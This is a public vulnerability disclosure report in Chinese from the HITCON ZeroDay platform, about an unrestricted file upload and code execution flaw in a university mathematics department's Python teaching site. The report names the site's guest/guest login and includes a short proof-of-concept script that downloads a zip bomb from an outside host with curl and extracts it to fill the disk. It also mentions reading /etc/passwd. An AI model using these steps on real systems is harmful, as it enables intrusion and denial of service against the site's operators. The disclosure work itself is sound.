Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00790
- Vendor: 國立中央大學數學系
- Title: 國立中央大學數學系 教學系統任意程式碼執行漏洞
- Introduction: 一個未經安全處理的沙盒,可以上傳任意檔案
處理狀態
目前狀態
公開
Last Update : 2022/01/07
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2021/11/07 10:22:41 : 新提交 (由 鄉民 更新此狀態)
- 2021/11/12 02:23:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/11/12 15:59:52 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/11/12 15:59:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/11/12 15:59:52 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/01/07 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00790
- 通報者:鄉民
- 風險:中
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://python.math.ncu.edu.tw/edu/python/1
敘述
可以透過帳號/密碼皆為 guest 的方式登入,並嘗試上傳程式碼。
並以www-data的權限執行任意Python程式並回傳結果。
該模式下對於/tmp資料夾是可寫狀態,可以透過curl下載任意檔案到/tmp,也因為可以執行Python,所以其實可以使用ZIP炸彈的方式,把磁碟塞滿,至於其他提權方式,我就沒有玩了,畢竟不想把系統用壞
import os, sys
os.system("df -h")
os.system("curl --insecure https://www.bamsoftware.com/hacks/zipbomb/zbsm.zip -o /tmp/zipbomb.zip")
os.system("ls -al /tmp")
os.system("mkdir /tmp/bumb")
import zipfile
with zipfile.ZipFile('/tmp/zipbomb.zip', 'r') as zip_ref:
zip_ref.extractall('/tmp/bumb')
os.system("ls -al /tmp")
os.system("ls -al /tmp/bumb")
對於此次測試所造成的影響,應該只有在/tmp底下有多一個zip檔案,然後有一個叫做/bump的資料夾作為證明,沒有其他影響。
另外作為起手式,也嘗試讀取了/etc/passwd之類的檔案,完全沒有問題……
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。